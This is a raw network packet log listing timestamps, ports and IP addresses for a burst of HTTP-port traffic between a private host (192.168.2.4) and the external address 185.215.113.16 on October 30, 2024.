Oct 30, 2024 12:36:51.601223946 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601233006 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.601236105 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601246119 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601258993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601262093 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.601268053 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601279974 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.601281881 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601293087 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.601294041 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601325035 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.601339102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601350069 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601350069 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.601375103 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.601387024 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.601556063 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601608038 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.601666927 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601679087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601690054 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601700068 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601711988 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601718903 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.601723909 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601735115 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.601739883 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.601753950 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.601775885 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602009058 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602045059 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602056980 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602056980 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602089882 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602102995 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602113962 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602123022 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602149010 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602161884 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602165937 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602173090 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602183104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602209091 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602240086 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602293015 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602303982 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602313995 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602325916 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602333069 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602353096 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602355957 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602401972 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602413893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602426052 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602458954 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602605104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602627039 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602638006 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602647066 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602652073 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602663994 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602674961 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602675915 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602685928 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602696896 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602704048 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602727890 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602735996 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602904081 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602914095 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602925062 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602936029 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602953911 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602955103 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602965117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602973938 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602983952 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.602986097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.602996111 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603002071 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603018045 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603019953 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603039980 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603061914 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603087902 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603096962 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603112936 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603123903 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603130102 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603152990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603156090 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603163004 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603187084 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603189945 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603198051 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603199959 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603226900 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603250027 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603307962 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603324890 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603343010 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603353024 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603353977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603364944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603368044 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603394032 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603420973 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603595972 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603607893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603617907 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603646040 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603647947 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603660107 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603661060 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603672981 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603683949 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603683949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603701115 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603718996 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603859901 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603878975 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603888988 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603908062 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603936911 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.603962898 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603974104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603984118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.603996038 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604015112 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604022026 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604024887 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604036093 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604042053 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604048014 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604064941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604067087 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604077101 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604088068 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604094982 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604099989 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604110956 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604118109 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604135990 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604157925 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604185104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604252100 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604263067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604273081 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604304075 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604330063 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604360104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604370117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604378939 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604413033 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604419947 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604430914 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604440928 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604441881 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604453087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604464054 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604474068 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604474068 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604505062 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604520082 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604530096 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604538918 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604567051 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604578018 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604701042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604711056 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604722977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604733944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604743004 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604756117 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604759932 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604772091 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604782104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604782104 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604793072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604803085 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604804039 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604820013 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604830027 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604830980 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604840040 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604861975 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604866028 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604873896 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604883909 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604887009 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604895115 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604906082 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604909897 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604935884 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604960918 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.604988098 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.604999065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605010033 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605025053 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605031967 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605036974 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605047941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605050087 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605077028 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605087042 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605119944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605132103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605142117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605153084 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605164051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605170012 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605181932 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605194092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605201006 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605204105 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605214119 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605216026 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605226994 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605237961 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605242968 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605274916 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605279922 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605287075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605297089 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605298042 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605326891 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605340958 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605366945 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605379105 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605389118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605400085 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605415106 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605415106 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605424881 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605436087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605465889 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605484009 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605494976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605504990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605510950 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605510950 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605534077 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605535984 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605544090 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.605565071 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.605600119 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.671426058 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671439886 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671449900 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671462059 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671479940 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671498060 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671506882 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.671509027 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671519995 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671528101 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.671530008 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671540976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671552896 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671564102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671567917 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.671587944 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.671606064 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.671624899 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671637058 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671648026 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671660900 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671670914 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671674013 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.671681881 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671693087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671699047 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.671703100 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671721935 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671731949 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.671735048 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671747923 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.671773911 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.671804905 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671817064 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671828032 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.671855927 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.671866894 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.713690042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.713748932 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.713907957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.713933945 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.713943958 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.713956118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.713965893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.713973045 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.713977098 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.713996887 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714025021 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714030981 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714036942 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714047909 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714060068 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714071035 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714076042 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714085102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714097023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714107990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714113951 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714123011 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714124918 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714155912 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714162111 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714173079 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714183092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714184999 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714209080 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714210987 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714220047 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714230061 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714234114 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714265108 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714276075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714286089 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714287996 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714296103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714320898 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714323997 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714334965 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714349031 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714371920 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714411020 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714421988 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714438915 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714448929 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714452028 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714459896 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714471102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714473009 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714482069 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714497089 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714498043 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714509964 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714525938 CET	49747	80	192.168.2.4	185.215.113.16
